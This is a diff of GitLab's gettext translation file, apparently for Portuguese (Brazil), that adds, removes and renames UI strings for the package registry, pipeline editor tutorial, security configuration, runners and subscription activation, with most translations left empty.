msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "Projetos compartilhados com %{group_name}"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr "Página URL de suporte"
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr "Hora"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr "Para mover ou copiar todo um projeto do GitLab de outra instalação do
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
